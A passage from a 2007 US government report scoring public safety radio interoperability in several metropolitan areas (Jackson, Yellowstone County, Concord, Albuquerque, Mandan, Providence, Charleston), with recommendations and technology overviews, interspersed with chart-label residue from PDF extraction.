agencies to support partnerships on regional interoperability
•
Encourage planning and development of a strategic plan beyond the operational plan outlined in the
TICP with participant approval, adoption, and acceptance; align local and state strategic planning efforts
to ensure that regional interoperability is needs are met
•
Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years)
communications interoperability planning and sustainable funding
•
Continue to involve government leadership in communications interoperability issues and encourage
long-term regional funding plans
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The MCR used previously existing informal guidelines among jurisdictions in the area to develop new
interoperable communications SOPs for the TICP. As a result, the TICP provided the area’s first SOPs
focused on interoperability. These SOPs were disseminated to public safety agencies in the area at the TICP
Workshop. MCR reports compliance with National Incident Management System (NIMS)/Incident
Command System (ICS) and began training more than 1 year ago. During the exercise, the area as a whole
did not fully demonstrate interoperability proficiency with NIMS/ICS, specifically the Jackson Incident
10%
10%15%
15%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
B-21
January 2007
Tactical Interoperable Communications Scorecards
Commander did not perform Communications Unit Leader duties, which resulted in slower development of
an ICS.
Recommendations:
•
Document regional communications interoperability SOPs (beyond the TICP) and put them into practice
through training and exercises
•
Ensure that regional SOPs are aligned with statewide planning efforts
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Jackson officials report that the area’s first responders have been largely successful in implementing
interoperability solutions during recent events requiring multijurisdictional response. During the TICP
exercise, some agencies within Madison and Rankin counties were able to communicate; however, the
participants did not demonstrate proficiency in using their available means of interoperable communications
(e.g., radio caches, gateways, shared channels, shared systems). For example, according to the After Action
Report, “the City of Jackson was unable to communicate effectively with other agencies because its radio
architecture differs from those of surrounding systems.
Recommendations:
•
Regularly test and exercise the deployment of regional interoperability resources to improve proficiency
of use (e.g., practice use of radio caches and mobile gateways)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Mississippi has a very high frequency (VHF) low band radio system that can be used anywhere in the state, including
with many VHF, ultra high frequency (UHF), and 800 megahertz (MHz), interoperable/mutual aid channels, including
VHF VTAC and UHF UTAC in Jackson. Four shared systems can be used in the greater Jackson area, including three
800 MHz systems and one VHF high band radio system. There are more than 11 gateways or methods by which talk
groups and/or channels can be patched.
High on the interoperability communications priority list for the Jackson metropolitan area is the coordination of
gateway and console patches in use. It is the position of the area that permanent patching at fixed site gateways and
base stations is critical for instant interoperable communications before mobile resources can be activated and
operational.
Urban/Metropolitan Area
B-22
January 2007
Tactical Interoperable Communications Scorecards
Yellowstone County (Montana)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Early Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
Montana designated the entire State of Montana as its metropolitan area (area); however, the information
below pertains only to the Yellowstone County area because the Communications Sub-Committee of the
Local Emergency Planning Committee (LEPC) in Yellowstone County was the lead that participated in the
Tactical Interoperable Communications Plan (TICP) process. The Yellowstone County area, which is
located in south central Montana, includes the cities of Billings, Broadview, and Laurel.
Governance: Early Implementation
10%5%
5%
5%
Although the State of Montana has been active in interoperability efforts, it is very unclear how established
the defined area (Yellowstone County) is in this larger effort. Specific to the TICP development and
validation exercise, the governance structure did not appear well defined. The development of a TICP that
included only law enforcement agencies (as opposed to first responders as a whole) was particularly
problematic (even if the TICP was initially based on existing law enforcement policies). This was reinforced
by some findings of the TICP validation exercise (e.g., the Billings Fire Department could not communicate
with the Billings Police Department with shared channels). While the area indicates that the state is
developing regional strategic plans through the eight state consortiums, Yellowstone’s level of involvement
in this state effort, or any strategic planning for the specified area is unclear. Individual agencies currently
develop and maintain their own budgets and procure equipment based on agency-specific needs, although
agencies are looking toward considering interoperability across the metropolitan area in the future.
Yellowstone County has mixed communications interoperability support from its first responder and political
leadership.
Recommendations:
•
Involve all first responders, as well as public support, state, federal, and tribal agencies in the decision-
making group and define roles and responsibilities
•
Document and formalize agreements (e.g., memoranda of understanding) among all participating
agencies to support partnerships on regional interoperability
•
Consider broadening agreements to include state, federal, and tribal agencies
•
Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant
approval, adoption, and acceptance
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Incorporate a regional interoperability funding strategy into a strategic plan, with consideration of
funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning
efforts
•
Continue to broaden and champion a governance structure that would more fully support regional
interoperability
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically
focus on interoperability
10%5%
5%
5%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
B-23
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Yellowstone TICP appears to have been developed primarily by the law enforcement community and
only law enforcement is listed in the plan’s included agency list. The area indicated that most of the existing
law enforcement policies and procedures were incorporated in the TICP. The area does not appear to have
actively disseminated these SOPs. A number of issues were encountered because the response in the TICP
validation exercise did not comply with the policies in the plan. The National Incident Management System
(NIMS)/Incident Command System (ICS) has been implemented for more than a year and is formalized in
the area’s policies. As noted in the After Action Report (AAR), “the command and control operations…are
among the most effective and disciplined the evaluators have seen.” Despite this well-established command,
the exercise did not successful incorporate the communications unit and communication unit leader (COML)
position in the validation exercise.
Recommendations:
•
Expand multidiscipline participation (beyond law enforcement) in the development of regional
interoperability SOPs
•
Evolve TICP based on expanded participation and disseminate as appropriate
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Yellowstone officials indicated that they used their shared system and shared channels on a daily basis.
Likewise, a crossband repeater is regularly used to link 800 megahertz (MHz) and very high frequency
(VHF) agencies in the county. Law enforcement agencies have a well-established color-coded shared
channel plan, and the use of a shared channel (although not included in the TICP) was demonstrated during
the exercise. Law enforcement agencies were also effectively connected using a console patch. As noted by
the exercise evaluators, “The exercise validated the TICP within law enforcement; however it identified areas
in need of improvement for interoperability within other agencies.” Specifically, the AAR indicated that,
“Within the City of Billings, the Police Department cannot talk to the Fire department although they are on a
shared system.”
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources to improve proficiency
(e.g., use of shared system across disciplines)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Funding from Department of Homeland Security grants to the Montana metropolitan area is coordinated through
Montana Disaster and Emergency Services (MDES). In Yellowstone County, there are two radio caches. Also, 800
MHz and VHF mutual aid frequencies are used as interoperable channels. There are two fixed gateways—a permanent
crossband unit that directly patches 800 MHz and VHF frequencies for interoperable communications, and a temporary
800 MHz-to-VHF patch. In addition, there is an 800 MHz analog trunked shared system (City of Billings system) that
supports the entire area.
Urban/Metropolitan Area
B-24
January 2007
Tactical Interoperable Communications Scorecards
Concord (New Hampshire)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
New Hampshire designated the City of Concord as its metropolitan area (area), which includes Belknap and
Merrimack counties as its tactical interoperable communications planning area.
Governance: Established Implementation
15%
20%
20%
20%
New Hampshire has a Joint Committee for first responders that has oversight for interoperability in the state.
For the purposes of the Tactical Interoperable Communications Plan (TICP) development, Concord
established a working group of state officials and multidiscipline agencies. Federal and public support
agencies (e.g., the National Guard, acute care hospitals) were involved in the TICP development. The area
indicated that an interoperability memorandum of understanding (MOU) was in place for all local agencies in
the state. The area indicated, however, that there was no single strategic planning document for
interoperability. New Hampshire has developed a long-term infrastructure strategy (as included in Section 7
of the TICP), which is implemented as grant funding becomes available. It is not clear whether a long-term
funding strategy to support the lifecycle costs of these systems is in place. There appears to be strong
support for resolving interoperability issues at all levels of government. As noted by exercise evaluators,
“There was a high level of commitment and involvement by state government officials. It was clear that the
area benefited from the leadership and facilitation of a committed advocate.”
Recommendations:
•
Involve federal and public support organizations in the decision-making group and document roles and
responsibilities as part of the group
•
Develop and review agreements (e.g., MOUs) at least every 3 to 5 years and after significant events or
upgrades
•
Develop, document, and implement a strategic plan (build on the TICP New Hampshire Statewide
Interoperability Expansion Project future plans), including technical, policy, operational, and funding
aspects
•
Develop, document, and incorporate regional interoperability funding strategy into strategic plan, such as
considering funding models (in addition to grants) that can leverage local, regional, and statewide
strategic planning efforts
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Concord has used the TICP process to document and expand previously informal interoperability procedures.
SOPs have been disseminated, but additional steps need to be taken to promulgate these policies among
included agencies. The area implemented National Incident Management System (NIMS) more than a year
ago as part of the statewide certification process. During the TICP exercise, evaluators commended the area
for exceptional communication among Unified Commanders. The communications unit and
Communications Unit Leader (COML) have begun being implemented into the area’s response structure;
however, some gaps with the use of the latter position were noted in the exercise.
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-25
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Ensure all regional interoperability SOPs are in the TICP and put into practice to increase the proficiency
in the use of these policies
•
Disseminate the TICP to all participating agencies.
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Concord regularly provides interoperable communication through the area’s very high frequency (VHF)
systems. Additionally, the state has implemented a series of gateways, as well as two state radio caches,
through the Statewide Infrastructure Interoperability Project. During the TICP validation exercise, the radio
cache deployment was noted as well done by evaluators. Some coverage problems were encountered in the
use of shared channels during the exercise. Communications to the dispatch center were not always clear or
understood and often had to be repeated, which was attributed to coverage issues. Additionally, it was
unclear whether announcements were made before gateway activation. The National Guard was also
actively involved in the TICP planning and exercise.
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources to improve proficiency, and
include federal agencies
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of Concord maintains several radio systems. Concord Fire, Concord Police, and Bow Police run a
predominantly simplex mode VHF high band analog radio system. They also maintain an ultra high frequency (UHF)
repeater for fire alarm and administrative functions, as well as UHF links for transmitter sites. Concord Police now
operate on a Project 25 (P25) compliant, VHF high band, digital radio system that is used in simplex and duplex modes.
Merrimack County uses a VHF dual mode digital/analog radio system and provides dispatch services for 10
communities around the Concord area. The State’s Radio Interoperability Frequency Subcommittee has established a
standard VHF radio programming template that is used in all VHF Fire and Emergency Medical Services radios,
providing interoperability across the state. The area is working toward acquiring a single, shared, fully P25-compliant
trunked radio system. The New Hampshire Statewide Interoperability Expansion Project has been under development
for quite some time and is divided into three areas. The Project has acquired and installed ACU-1000 audio matrix
switches at designated communications sites to provide on-site connectivity of multiple frequency band base stations.
The Statewide Infrastructure Interoperability Expansion Project will require additional VHF low band, UHF, and
700/800 megahertz base stations or repeaters to achieve interoperability for console-to-base, base-to-base, base-to-
mobile, and mobile-to-mobile communications. A shared mobile command post platform will provide a movable
source of infrastructure resources such as dispatch consoles, multiple frequency band base or control station repeaters,
computer telecommunications facilities, telephone facilities, and wireless access points.
Urban/Metropolitan Area
B-26
January 2007
Tactical Interoperable Communications Scorecards
Albuquerque (New Mexico)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Early Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
New Mexico designated the City of Albuquerque as its metropolitan area (area), which includes Valencia,
Bernalillo, and Sandoval counties, as well as incorporated cities and Native American tribes and pueblos
located within those counties. This area is also known as the Middle Rio Grande Planning Area.
Governance: Early Implementation
10%5%
5%
5%
The Middle Rio Grande Valley/Greater Albuquerque Metro Planning Area (Middle Rio Grande Planning
Area) established the Communications Committee in March 2006 to develop the Tactical Interoperable
Communications Plan (TICP). The Committee includes public safety support agencies (Public Health,
Utilities, and the Mayor’s Office) and state and federal agencies. With the creation of the TICP, the
metropolitan area has published and active agreements among the regional agencies, but they are not yet
fully in practice across the area. The Mid Rio Grande Planning Area does not have an interoperability
strategic plan in place and hopes to work with the state to further develop the statewide plan. The individual
organizations in the Mid Rio Grande Planning Area maintain their own budgets independent of regional
strategic planning. The area obtains most of its communications funding through grants and does not appear
to have a long-term funding plan. While public safety communications is a priority at the state level, the
leadership at the local level has not clearly demonstrated fiscal or political support for interoperable
communications.
Recommendations:
•
Ensure that all applicable local, state, federal, and tribal agencies (taking into account international
interoperability efforts) are involved in the decision-making group and define roles and responsibilities
as part of the group
•
Continue to support the decision-making group through regularly scheduled meetings (consider more
frequent meetings) and actively working issues to address regional (tactical and strategic) interoperability
•
Document and put into practice agreements (e.g., memoranda of understanding, mutual aid agreements)
among all participating agencies to support partnerships on regional interoperability
•
Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant
approval, adoption, and acceptance
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Incorporate regional interoperability funding strategy into a strategic plan, including considering funding
models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts
•
Identify a champion (or group) to motivate and promote continued interoperability progress in the area
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to effectively
and specifically focus on interoperability
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
While it incorporates previously existing mutual aid agreements within the state, the TICP represents the
area’s first multijurisdictional, multidiscipline interoperable communications SOPs. Since the TICP process
10%
10%15%
15%
10%5%
5%
5%
15%
20%
20%
20%
Urban/Metropolitan Area
B-27
January 2007
Tactical Interoperable Communications Scorecards
began, Albuquerque has worked well with many local, state, federal, and tribal agencies (e.g., Utilities,
Mayor’s Office, State Police, Customs and Border Protection, Kirkland Air Force Base) to further develop
regional interoperability SOPs. It is unclear whether there is full participation with all of the jurisdictions in
the area (e.g., Valencia County did not attend the planning meeting or exercise). It is also unclear whether
the area has actively disseminated the SOPs. In December 2005, the area created an All-Hazards Plan that
mandated National Incident Management System (NIMS)/Incident Command System (ICS). Although
NIMS/ICS was recently implemented, the exercise participants demonstrated proficiency with command and
control, including the Communications Unit Leader responsibilities.
Recommendations:
•
Encourage full participation of all first responders (e.g., Valencia County) incorporated into regional
interoperability SOPs
•
Continue to develop SOPs within the TICP framework and disseminate throughout area
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The area operates on a shared system for daily interoperable solutions. During the TICP validation exercise,
the participants demonstrated familiarity and proficiency with the area’s interoperable communications
equipment. Albuquerque ensured the participation of state and federal agencies (e.g., State Police, Federal
Bureau of Investigation) in their TICP validation exercise, which allowed for a valuable opportunity for area
first responders to familiarize themselves with the challenges of interoperating with public safety officials
who are not as familiar with the area shared system. The area effectively used the radio cache, gateways,
shared channels, and the shared system. The area’s day-to-day usage of the shared system and exercise have
demonstrated proficient use of interoperable solutions across jurisdictions and agencies; however, it is
unclear whether all local and tribal first responder agencies are able to demonstrate the same level of
proficiency. Albuquerque relies on the use of shared channels and rarely uses gateways for interoperability
purposes. The National Guard Civil Support Team participation during the exercise was commendable.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises (e.g., regional
first responders should incorporate use of gateways)
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Middle Rio Grande Planning Area working group has six radio caches, shared channels for interdiscipline law, fire,
and emergency medical services. The group has six mobile gateways and one fixed gateway. Five shared systems in
the area include an 800 megahertz system, a conventional ultra high frequency (UHF) system, two conventional very
high frequency (VHF) systems, and a conventional UHF/VHF system.
The state is working on a statewide architecture and using the Interoperable Communications Technical Assistance
Program Communications Asset Survey and Mapping tool to inventory equipment.
Urban/Metropolitan Area
B-28
January 2007
Tactical Interoperable Communications Scorecards
Mandan (North Dakota)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Early Implementation
North Dakota designated the City of Mandan as its metropolitan area (area), which includes the City of
Mandan and the counties of Morton and Stark.
Governance: Intermediate Implementation
10%
10%15%
15%
The Morton/Stark County Working Group (MSCWG) is beginning to establish interoperability as a priority
for the area. The MSCWG was created in 2005 for the development of the Tactical Interoperable
Communications Plan (TICP). While the TICP takes a positive step in establishing a governance committee,
the group does not currently have any formalized agreement establishing mission, roles, or authorities (e.g.,
charter). The area has some formal agreements across public safety agencies in the area but relies primarily
on informal partnerships among the jurisdictions in the area. The area lacks a formal leadership position or
body that is helping prioritize communications interoperability; likewise, the area does not currently have a
strategic plan that incorporates interoperable communications efforts beyond the operational focus of the
TICP. There appears to be strong support among the local first responders for emphasizing interoperability
as a funding priority (e.g., cooperation to fund equipment within jurisdictions); however, the individual
jurisdictions currently procure communications equipment without a regional plan guiding their decisions.
Funding is currently based on federal grants, and there is no long-term regional funding plan for recurring
expenses without which there is no guarantee of continued ability to operate and maintain existing
interoperable infrastructure..
Recommendations:
•
Identify state, federal, and tribal representatives to participate in the existing decision-making group,
develop roles and responsibilities, and establish a charter
•
Document, formalize, and put into practice the necessary interoperability agreements (e.g., memoranda
of understanding) with state, federal, and tribal partners to ensure consistent communications plans
(including more than existing local mutual aid agreements)
•
Develop and implement a strategic plan to chart longer term communications interoperability goals
(beyond the operational plan put forth in the TICP), and ensure its acceptance by all participating
agencies; align local and state strategic planning efforts to ensure that regional interoperability needs are
met
•
Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years)
interoperability planning and sustainable funding
•
Consider the direct involvement of a high-level official with political and fiscal authority to specifically
focus on interoperability
•
Consider establishing a direct line of communication among local and state level agencies to advocate
the importance of interoperable communications
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
Previous existing policies and procedures from each of the participating jurisdictions were incorporated into
the TICP (e.g., county SOPs and mutual aid agreements). Since the creation of the TICP, the area has taken
10%
10%15%
15%
10%
10%15%
15%
10%5%
5%
5%
Urban/Metropolitan Area
B-29
January 2007
Tactical Interoperable Communications Scorecards
steps to disseminate the communications interoperability SOPs to all agencies in the area, including the
dispatch centers. The area also held a TICP Workshop to further distribute the information. The area began
National Incident Management System (NIMS)/Incident Command System (ICS) training 1 year ago at the
100 and 200 course levels and is currently working to implement 300 and 400 level series courses. During
the exercise, however, command and control issues arose, indicating that further practice and training is
needed on following these SOPs. For example, a Communications Unit Leader was designated, but did not
announce his duties over the radio.
Recommendations:
•
Review and revise shared channel SOPs to enhance efficiency and use of channels
•
Ensure that regional SOPs are aligned with statewide planning efforts
•
Practice NIMS/ICS through training and exercises, and establish a regular training schedule, to improve
interoperable communications
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Early Implementation
10%5%
5%
5%
Regular use of interoperable communications equipment is limited in the area. Stark and Morton counties
regularly use shared channels to communicate. During the exercise, however, the area relied mainly on
commercially provided communications devices, which were not accounted for in its TICP. They also
encountered a channel overload issue among the Incident Commander, emergency operations center,
emergency medical services command, etc., and available steps were not used to remedy the situation (e.g.,
other available channels were not accessed). In an attempt to communicate among two sets of first
responders on separate State Radio Channels, a dispatcher at first manually relayed transmissions, followed
by the ad-hoc development of a patch; neither of these solutions conforms to the SOPs laid out in TICP.
Recommendations:
•
Consider developing policy on use and limitations of commercial services (e.g., cellular telephones)
•
Involve private, state, federal, and tribal agencies in training and exercises
•
Consider adding communications interoperability as component for all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Public safety agencies within the Mandan metropolitan area mainly use very high frequency conventional
communications systems. The State of North Dakota has an analog conventional four-channel communications system
that can be used by most agencies within the state for tactical interoperability.
The statewide channels that North Dakota uses are currently being upgraded to digital Project 25 compliant
conventional channels. New base stations/repeaters are being purchased and additional frequencies are being licensed
to support this upgrade.
Urban/Metropolitan Area
B-30
January 2007
Tactical Interoperable Communications Scorecards
Providence (Rhode Island)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Early Implementation
Rhode Island has designated the City of Providence as its metropolitan area (area).
Governance: Intermediate Implementation
10%
10%15%
15%
Providence has a Communications Working Group, which reports to the Domestic Preparedness
Subcommittee of the Lieutenant Governor’s Advisory Board on Emergency Management. Although the
group has been formalized with a mission, authority, and responsibilities, it appears to be driven by the state
and lacks sufficient local and federal involvement (e.g., law enforcement, fire services, and U.S. Coast Guard
[USCG]). There are informal agreements and a mix of formal and informal partnerships among the public
safety organizations in the area. The continued development of documented agreements would support the
formalization of these partnerships to ensure clear roles and responsibilities relating to communications
interoperability issues and decisions. The State of Rhode Island is developing plans for a statewide 800 MHz
system, but Providence does not have a locally driven strategic plan for regional interoperable
communications that supports both the local and the state long-term interoperability goals. Officials in the
area reported that most interoperability funding came from federal grants, and budgets were developed
annually without a regionwide plan for the procurement, distribution, or spending of grant dollars. Because
there is no local tax base or other local funding vehicle for interoperable communications, it appears that
there is no clear sustainable mechanism for fiscal sustainability. The Rhode Island state leadership has
demonstrated political and fiscal support by obtaining federal grant funds, but the level of local participation
in these communications interoperability efforts is unclear.
Recommendations:
•
Identify local first responders and federal agencies (e.g., police, fire services, USCG), in addition to state
agencies, to participate in the decision-making group, and develop formal roles and responsibilities of the
participants
•
Establish a charter to encourage formal membership in the decision-making group (including all first
responder agencies)
•
Develop and finalize regional communications interoperability agreements (e.g., memoranda of
understanding), and involve all participants at the local level
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the
Tactical Interoperable Communications Plan (TICP) and the statewide 800 MHz system plan) with
participant approval, adoption, and acceptance that takes into account a long-term communications
funding strategy beyond grants
•
Align local and statewide strategic planning efforts to ensure regionwide interoperability needs are met
•
Identify long-term (e.g., 3 to 5 years) sustainable funding for communications interoperability, beyond
grants, that can cover lifecycle costs
•
Consider the direct involvement of local, executive-level official(s), with political and fiscal authority, to
specifically focus on interoperability
10%5%
5%
5%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
B-31
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Providence area incorporated existing policies and procedures from local law enforcement, fire, and
emergency medical services (EMS) agencies, as well as hospitals into the TICP. This plan serves as the
area’s first comprehensive set of interoperable communications SOPs, and steps have been taken to
disseminate them throughout the area (e.g., participating agencies attended a TICP Workshop to review the
revised SOPs). Although the TICP Peer Review panel noted that “the area met the minimal requirements
[for TICP development],” it is evident from the area agencies’ successful demonstration of communications
interoperability solution policies, practices, and procedures that Providence public safety personnel are well
versed in the SOPs defined for the area. Local officials reported that most of the public safety agencies in the
area participated in creating the TICP. Providence began implementing the National Incident Management
System (NIMS)/Incident Command System (ICS) more than 1 year ago, and all public safety agencies in the
area use these procedures. The TICP validation exercise, however, highlighted areas for improvement in
command and control (e.g., the communications unit was under-staffed, responders used resources outside
those included in the TICP). This indicates that the understanding and application of SOPs can be improved.
Recommendations:
•
Revise the TICP to include updated policies and procedures for applicable assets (e.g., availability of
additional shared channels)
•
Consider developing policy on use and limitations of commercial services (e.g., cellular telephones)
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Early Implementation
10%5%
5%
5%
Although the area reports the use of shared channels and gateways, it is evident that the area does not use
these available means of interoperable communications regularly. During the TICP validation exercise,
participants did not exhibit proficiency in using these communications interoperability solutions. For
example, the area’s two identified shared channels are not designed to support the tactical needs of a critical
incident, and participants were unsuccessful in implementing a gateway patch.
Recommendations:
•
Implement the recommendations identified in the After Action Report regarding additional equipment
(e.g., establish a radio cache)
•
Regularly test and exercise deployment of regional interoperability resources (e.g., shared channels,
gateways) to improve proficiency
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Currently, Providence Police uses an ultra high frequency system, while the Providence Fire Department uses a very
high frequency system. The Fire Department and EMS are on separate systems that do not connect in any way. The
Providence Police and Fire Department each have a shared channel that can be programmed into other police and fire
agencies’ radios. The State of Rhode Island is implementing a statewide 800 MHz radio system. All public safety
agencies in the state are planned to be on this system.
Urban/Metropolitan Area
B-32
January 2007
Tactical Interoperable Communications Scorecards
Charleston (South Carolina)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
South Carolina designated Charleston as its metropolitan area (area), which includes communities and
counties in Berkeley, Charleston, and Dorchester (collectively known as the Lowcountry region).
Governance: Intermediate Implementation
10%
10%15%
15%
The Charleston area was brought together to address interoperability in the aftermath of Hurricane Hugo 16
years ago. Today, communications in the Charleston area is overseen by a formal communications group
(Lowcountry Interoperable Communications Council [LICC]). It was noted in the peer review that the term
“RSAG” that was used in the Tactical Interoperable Communications Plan (TICP) needed to be defined, as it
could otherwise lead to confusion regarding the appropriate governance structure for interoperable
communications efforts. Interoperability partnerships are a combination of formal and informal agreements.
The continued development of documented agreements would support the formalization of these partnerships
to ensure clear roles and responsibilities relating to communications interoperability issues and decisions.
Charleston indicates that a strategic planning process is underway, but no plan has been published. This
strategy, as it gets adopted, can also support the prioritization of goals so that funding can be planned
accordingly. While consideration for regional interoperability is provided by the LICC, funding decisions
are largely driven by individual agency needs as opposed to a Lowcountry regionwide strategy.
Recommendations:
•
Clarify state and federal membership in the decision-making group (e.g., LICC), and examine ways (e.g.,
varying schedules and locations) to increase rural public safety agency involvement (e.g., volunteer fire
departments)
•
Identify “RSAG” and its roles and responsibilities
•
Reference all applicable agreements (e.g., memoranda of understanding, intergovernmental agreements)
in the TICP and store them in an accessible format
•
Develop, document, and implement a Lowcountry regional strategic plan (beyond the operational TICP)
with participant approval, adoption, and acceptance, that takes into account a long-term funding strategy
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Document the Lowcountry regional funding strategy for identifying sustainable funding sources (beyond
grants) to cover lifecycle and recurring costs to operate the area’s interoperability assets
•
Broaden and champion a governance structure that will support regional communications interoperability
•
Involve senior regional leadership in communications interoperability and long-term funding plans
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Charleston TICP consolidates existing county interoperable communications SOPs into a regional plan.
It has been successfully distributed to all agencies and dispatch centers in the area, and there are plans to
participate in regular interoperability training. Charleston officials indicated they were distilling the TICP
procedures into a three-page quick guide to ensure ease of use and understanding by all responders, which is
15%
20%
20%
20%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
B-33
January 2007
Tactical Interoperable Communications Scorecards
commendable. Use of the SOPs were successfully demonstrated; however, additional information should be
added to the TICP, including all available regional interoperable communications assets. The National
Incident Management System (NIMS)/Incident Command System (ICS) is currently being implemented
throughout the area. Command and control issues occurred in the TICP validation exercise (e.g., did not
initiate comprehensive incident command structure, delay in designating communications unit leader)
relating to NIMS/ICS procedures. Charleston has recognized some of these deficiencies, and is actively
addressing the improvement plan (e.g., NIMS/ICS 300/400 classes).
Recommendations:
•
Update TICP to incorporate all available interoperable communications equipment (e.g., mobile gateway
not accounted for in TICP)
•
Document, distribute, and verify all points of contact for each agency communications center
•
Continue to implement regional interoperability SOPs across all participating agencies
•
Continue basic and advanced training and exercises on SOPs (e.g., system resources) and for NIMS/ICS
to ensure that all participating first responder agencies, particularly rural agencies, attain and maintain
NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Multi-agency communications in the Charleston area is regularly accomplished using two 800 megahertz
(MHz) systems and a very high frequency (VHF) shared system, along with national shared channels.
During the TICP validation exercise, evaluators noted that the use of these systems “appeared second nature
to most of the responding organizations and disciplines.” Because the area is served by shared systems, the
need for gateway patches is diminished. If gateways are used, sufficient training should be given to ensure
proficient and proper use. Despite minor equipment usage issues, the exercise After Action Report noted,
“[I]nteroperability was continuously maintained for participation personnel throughout the duration of the
exercise.” Despite these demonstrated successes, the TICP validation exercise was limited in its inclusion of
federal agency participants. Officials from the area report that federal agencies are fully coordinated in the
LICC and participate in multijurisdictional response as demonstrated through real world events. The area is
encouraged to build on its success by continuing to further integrating state, federal, tribal, and support
agencies in future tests.
Recommendations:
•
Continue to involve state and federal agencies (e.g., public health, Federal Bureau of Investigation, U.S.
Coast Guard) in day-to-day events and future exercises
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Charleston County, Dorchester County and the City of Charleston use shared, 800 MHz, Motorola SmartZone™, analog
systems (City of Charleston and Charleston County systems) that can be used to communicate with most local and
county agencies. The state also has a statewide system (Palmetto 800 MHz SmartZone analog system) that is used by
agencies in Berkeley and Dorchester counties. Berkeley County has a separate VHF system that is used for primary
communications and is interoperable with the other counties using gateways and cache radios. Berkeley, Charleston,
Dorchester counties and the Charleston Police Department also have 800 MHz cache radios. Most these radios are from
Charleston County. Charleston and Dorchester counties have Raytheon JPS Communications ACU-1000 and
Communications-Applied Technology Incident Commander’s Radio Interface (ICRI) gateways. The Charleston Police
Department also has an ICRI gateway, and the State of South Carolina has an ACU-1000 gateway. Charleston County
and emergency medical services have shared 800 MHz channels. Berkeley County is also purchasing an ICRI gateway.
Urban/Metropolitan Area
B-34
January 2007
Tactical Interoperable Communications Scorecards
Sioux Falls (South Dakota)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
